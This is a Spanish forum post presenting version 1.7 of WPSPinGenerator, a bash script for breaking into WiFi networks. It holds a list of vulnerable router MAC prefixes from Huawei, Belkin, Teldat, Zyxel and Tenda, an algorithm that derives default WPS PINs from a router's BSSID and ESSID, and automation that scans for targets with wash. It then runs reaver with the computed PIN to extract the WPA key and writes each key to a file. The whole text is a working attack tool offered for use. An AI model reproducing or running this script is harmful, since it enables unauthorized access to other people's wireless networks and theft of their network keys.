asi el tema queda dividido y limpio
version 1.7 que incorpora la cuenta atras en escaneo con wash.
#!/bin/bash
# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.7"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
--------------------------------------------------
Fabricante > HUAWEI
essid> FTE-XXXX
modelo> HG532c "Echo Life"
---------------------------------------------------
bssid soportados
04:C0:6F
20:2B:C1
28:5F:DB
80:B6:86
84:A8:E4
B4:74:9F
BC:76:70
CC:96:A0
--------------------------------------------------
Fabricante > HUAWEI
essid> vodafoneXXXX
modelo> HG566a
--------------------------------------------------
bssid soportados
5C:4C:A9
62:A8:E4
62:C0:6F
62:C6:1F
62:E8:7B
6A:53:D4
6A:55:9C
6A:C7:14
72:C0:6F
72:C7:14
72:E8:7B
62:C7:14
6A:A8:E4
72:55:9C
--------------------------------------------------
Fabricante > Belkin
essid> Belkin_N+_XXXXXX
modelo> F5D8235-4 v 1000
--------------------------------------------------
bssid soportados
00:22:75
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F9K1104(N900 DB Wireless N+ Routeur)
--------------------------------------------------
bssid soportados
08:86:3B
--------------------------------------------------
Fabricante > Belkin
essid> belkin.XXX
modelo> F5D8231-4 ver. 5000
--------------------------------------------------
bssid soportados
00:1C:DF
--------------------------------------------------
Fabricante > Teldat
essid> WLAN_XXXX
modelo> iRouter1104-W
--------------------------------------------------
bssid soportados
00:A0:26
--------------------------------------------------
Fabricante > Zyxel
essid> ZyXEL
modelo> zyxel NBG-419n
--------------------------------------------------
bssid soportados
50:57:F0
-------------------------------------------------
Fabricante> Tenda
essid> ?¿
modelo> W309R
-------------------------------------------------
bssid soportados
C8:3A:35
'
# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)
MAC=$(echo $FINBSSID | tr -d ':')
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)
STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS1=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS1=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS1=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS1=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS1=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS1=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS1=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS2=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS2=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS2=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS2=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS2=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS2=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS2=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS3=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS3=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS3=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS3=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS3=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS3=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS3=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
if [ "$CHECKESSID" = "FTE" ];
then
FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`
PIN=`expr 10 '*' $STRING4`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS4=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS4=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS4=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS4=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS4=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS4=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS4=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSchanel[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture.$$
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al menu"
read junk
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC SOPORTADA? PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
MAC=$(echo ${WPSbssid[$countWPS]}|rev|cut -d: -f4-|rev)
if [ "$(echo $MACs_Soportadas|grep ':'|grep $MAC)" != "" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="NO"
fi
echo " $countWPS) ${WPSbssid[$countWPS]} $SOPORTADA ${PWR[$countWPS]} ${WPSchanel[$countWPS]} ${WPSessid[$countWPS]}"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANEL=${WPSchanel[$WPSoption]}
clear
else
echo " Opcion no valida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture.$$
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al menu"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opcion seleccionada no es valida"
echo " Introduce una opcion valida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor"
echo ""
sleep 1
#limpieza interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 40 && kill $ReaverPID &>/dev/null &
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
ShowWPA="OFF"
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿ quiere desnontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
menu() {
# Bienvenida
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
echo -e '\e[1;31m
¡¡¡ Debes ser root para ejecutar este script !!!
Prueba: sudo $0
\e[0m'
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; else rm -rf $KEYS/*; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
menu